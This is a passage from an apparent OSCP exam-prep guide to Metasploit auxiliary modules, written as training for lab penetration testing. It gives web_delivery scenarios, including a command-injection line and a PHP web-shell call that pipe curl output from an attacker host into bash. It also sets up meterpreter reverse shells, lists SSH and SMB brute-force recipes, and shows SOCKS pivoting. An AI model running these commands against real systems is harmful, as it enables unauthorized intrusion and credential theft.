The target command will use https:// and the -k flag (for curl) or -–no-check-certificate (for wget) to ignore certificate warnings.
Common web_delivery Scenarios in OSCP
Scenario 1: Command Injection → Shell
# You find a command injection vulnerability
# Use web_delivery to get a proper meterpreter session
# On attacker:
msf6 exploit(multi/script/web_delivery) > set TARGET 6
msf6 exploit(multi/script/web_delivery) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
msf6 exploit(multi/script/web_delivery) > exploit
# On target (via command injection):
; curl -ks http://10.10.14.3:8080/f | bash
Scenario 2: PHP File Upload → Shell
# Upload a PHP web shell that executes system commands
# Then use web_delivery for a proper meterpreter session
# Via the uploaded web shell:
system('curl -ks http://10.10.14.3:8080/f | bash');
Scenario 3: Windows PowerShell → Shell
# You have PowerShell execution capability on Windows
# Use web_delivery Target 1 or 3
# On attacker:
msf6 exploit(multi/script/web_delivery) > set TARGET 1
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
msf6 exploit(multi/script/web_delivery) > exploit
# Copy the generated PowerShell command and execute on target
OSCP Tip:
web_deliveryis your go-to module when you have command execution but need a reliable, full-featured meterpreter session. It works in almost every OSCP scenario where you can run a single command on the target.
5. Fuzzer Modules
Fuzzer modules send malformed or unexpected input to services in an attempt to trigger crashes, buffer overflows, or unexpected behavior.
Overview
| Module | Target | Description |
|---|---|---|
auxiliary/fuzzers/ftp/ftp_username |
FTP | Sends malformed FTP usernames |
auxiliary/fuzzers/tftp/tftp_put |
TFTP | Sends malformed TFTP PUT requests |
auxiliary/fuzzers/oracle/webdb_sql |
Oracle | SQL injection fuzzing for Oracle |
auxiliary/fuzzers/http/http_put |
HTTP | Tests HTTP PUT method abuse |
auxiliary/fuzzers/ntp/monlist |
NTP | NTP monlist fuzzing |
When Fuzzers Might Be Useful in OSCP
Fuzzer modules have limited direct use in the OSCP exam because:
- Time consuming — Fuzzing takes significant time
- Unreliable — Results are not guaranteed
- Better alternatives — Manual exploitation is often faster and more reliable
However, fuzzers can be useful when:
- You have exhausted all known exploits for a service
- You suspect a custom or uncommon service with potential vulnerabilities
- You have extra time during the exam and want to explore additional attack vectors
Example: HTTP PUT Fuzzer
msf6 > use auxiliary/fuzzers/http/http_put
msf6 auxiliary(fuzzers/http/http_put) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(fuzzers/http/http_put) > set URI /test.txt
URI => /test.txt
msf6 auxiliary(fuzzers/http/http_put) > run
OSCP Tip: Focus your time on known exploits and manual techniques. Use fuzzers only as a last resort when you have spare time.
6. OSCP Auxiliary Module Priorities
Must Know Cold (Examine Every Machine)
These modules should be part of your standard workflow for every OSCP machine:
| Module | Why It’s Critical |
|---|---|
auxiliary/scanner/portscan/tcp |
Fast port scanning when nmap is not available or as a supplement |
auxiliary/scanner/smb/smb_version |
OS identification for Windows targets |
exploit/multi/script/web_delivery |
THE most important module — universal shell delivery |
auxiliary/server/socks_proxy |
Essential for pivoting to internal networks |
High Priority (Use Frequently)
| Module | Use Case |
|---|---|
auxiliary/scanner/ssh/ssh_login |
SSH brute forcing with wordlists |
auxiliary/scanner/smb/smb_login |
SMB credential testing |
auxiliary/scanner/http/http_login |
Web application login brute forcing |
auxiliary/scanner/http/title |
Quick web app identification |
auxiliary/scanner/ssh/ssh_version |
SSH version detection for exploit matching |
auxiliary/scanner/smb/smb_enumshares |
SMB share enumeration |
auxiliary/scanner/smb/smb_enumusers |
Username enumeration via SMB |
Nice to Have (Good to Know)
| Module | Use Case |
|---|---|
auxiliary/scanner/rdp/rdp_login |
RDP brute forcing |
auxiliary/scanner/ftp/ftp_login |
FTP credential testing |
auxiliary/scanner/mysql/mysql_login |
MySQL brute forcing |
auxiliary/scanner/postgres/postgres_login |
PostgreSQL brute forcing |
auxiliary/scanner/mssql/mssql_login |
MSSQL brute forcing |
auxiliary/scanner/http/robots_txt |
Discovering hidden paths |
auxiliary/scanner/snmp/snmp_login |
SNMP community string discovery |
auxiliary/scanner/vnc/vnc_none_auth |
VNC no-auth detection |
Low Priority (Rarely Needed)
| Module | Use Case |
|---|---|
| Fuzzer modules | Last resort, time-intensive |
auxiliary/scanner/dcerpc/pipe_auditor |
Named pipe enumeration |
auxiliary/scanner/http/generic_acl |
HTTP ACL testing |
Quick Reference: Essential Auxiliary Commands
Rapid Reconnaissance Sequence
# 1. Scan ports
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.100
set PORTS 21,22,80,135,139,443,445,1433,3306,3389,5432,5900,8080,8443
set THREADS 50
run
# 2. Check SMB version (if 445 is open)
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.100
run
# 3. Check SSH version (if 22 is open)
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.100
run
# 4. Check HTTP title (if 80/443/8080 is open)
use auxiliary/scanner/http/title
set RHOSTS 10.10.10.100
set RPORT 80
run
# 5. Set up web_delivery for shell
use exploit/multi/script/web_delivery
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
exploit
Brute Force Quick Start
# SSH brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.100
set USER_FILE /home/user/usernames.txt
set PASS_FILE /home/user/passwords.txt
set STOP_ON_SUCCESS true
set THREADS 10
set BRUTEFORCE_SPEED 3
run
# SMB brute force
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.10.10.100
set USER_FILE /home/user/usernames.txt
set PASS_FILE /home/user/passwords.txt
set STOP_ON_SUCCESS true
set THREADS 10
run
Pivot Quick Start
# 1. Start SOCKS proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run
# 2. In meterpreter, add route
run autoroute -s 10.20.10.0/24
# 3. Use proxychains
proxychains4 nmap -sT -p 22,80,443,445 10.20.10.0/24
Summary
Metasploit auxiliary modules are indispensable tools in the OSCP arsenal. Master these priorities:
web_delivery— Your universal shell delivery mechanism. Know every target option.- SOCKS proxy + proxychains — Your primary pivoting technique.
- Port scanner — Quick verification of open services.
- SMB/SSH version scanners — Fast OS and service identification.
- Brute force modules — Credential testing for all major services.
The auxiliary modules bridge the gap between reconnaissance and exploitation, providing the intelligence and access needed to successfully compromise OSCP targets.